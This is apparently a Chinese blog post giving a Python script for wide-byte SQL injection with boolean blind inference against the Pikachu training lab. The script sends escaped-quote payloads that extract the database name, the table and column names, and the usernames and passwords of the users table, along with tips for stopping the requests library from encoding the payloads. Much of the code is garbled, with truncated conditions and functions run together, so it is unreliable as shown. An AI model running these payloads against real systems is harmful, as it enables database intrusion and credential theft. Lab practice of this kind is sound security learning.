您当前的位置: 首页 >  Python

仙女象

暂无认证

  • 0浏览

    0关注

    136博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

python实现sql宽字节注入+布尔盲注

仙女象 发布时间:2021-05-01 16:44:18 ,浏览量:0

目录

一、注意点

二、代码

三、使用

1、获取

(简单方法)

(复杂方法)

2、使用

四、测试

一、注意点

本文代码是对着pikachu漏洞靶场的宽字节注入关卡开发的,代码中的payload和参数都基于此,使用本文代码需要修改payload和部分参数,具体见代码注释

比起单纯的布尔盲注,宽字节注入+布尔盲注需要注意以下几点:

(1)payload中布尔运算符后面的语句不能包含单引号等会被转义的特殊字符

(2)requests模块方法的入参必须写成字符串形式,不能是字典形式(原因是字典形式的参数会被requests模块自动进行url编码)

(3)http头必须包含"Content-Type":"application/x-www-form-urlencoded" (原因也是如果没有这个头,requests模块就会自动对参数进行url编码)

二、代码

以下代码可自用,未经许可不能转载

#!/usr/bin/python3
# coding=utf-8

"""
functions for boolean-based wide byte sql injection(blind)

:copyright: Copyright (c) 2021, Fancy Xiang. All rights reserved.
:license: GNU General Public License v3.0, see LICENSE for more details.
"""

import requests

url = "http://192.168.101.16/pikachu/vul/sqli/sqli_widebyte.php"               #有可利用漏洞的url,根据实际情况填写
headers={ 
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",
    "Cookie": "PHPSESSID=7qgjcq21lsq834acodn0mo7km3",
    "Content-Type":"application/x-www-form-urlencoded"    #本行必须包括,否则requests模块自动进行url编码
    }    #http request报文头部,根据实际情况填写
 
keylist = range(33, 127)                                     #包括数字、大小写字母、可见特殊字符
flag = 'your uid'                                                              #用于判断附加sql语句为真的字符,根据网页回显填写

def CurrentDatabaseWide():
    n = 10                                                                      #预测当前数据库名称最大可能的长度,根据实际情况填写
    k = 0
    j = n//2 
    length = 0
    db = str()
    while True:
        if j>k and j3:
            payload1 = "name=lili%df' or length(database())>"+str(j)+"-- ss&submit=%E6%9F%A5%E8%AF%A2"           #所有payload根据实际情况填写,必须是字符串形式
            response = requests.post(url, data = payload1, headers = headers)     #本脚本根据POST型注入编写,遇到其他类型可修改方法和参数,其他所有函数中同样
            #print(response.request.headers)
            #print(response.request.body)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-kk and j3:
            payload4 = "name=lili%df' or (length((select group_concat(table_name) from information_schema.tables where table_schema = database())))>"+str(j)+"-- ss&submit=%E6%9F%A5%E8%AF%A2"
            response = requests.post(url, data = payload4, headers = headers)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-kk and j3:
            payload7 = "name=lili%df' or (length((select group_concat(column_name) from information_schema.columns where table_name = 0x7573657273)))>"+str(j)+"-- ss&submit=%E6%9F%A5%E8%AF%A2"
            response = requests.post(url, data = payload7, headers = headers)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-kk and j3:
            payload10 = "name=lili%df' or (length((select group_concat(concat(username,0x7e,password)) from users)))>"+str(j)+"-- ss&submit=%E6%9F%A5%E8%AF%A2"
            response = requests.post(url, data = payload10, headers = headers)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k            
关注
打赏
1661867686
查看更多评论
0.0408s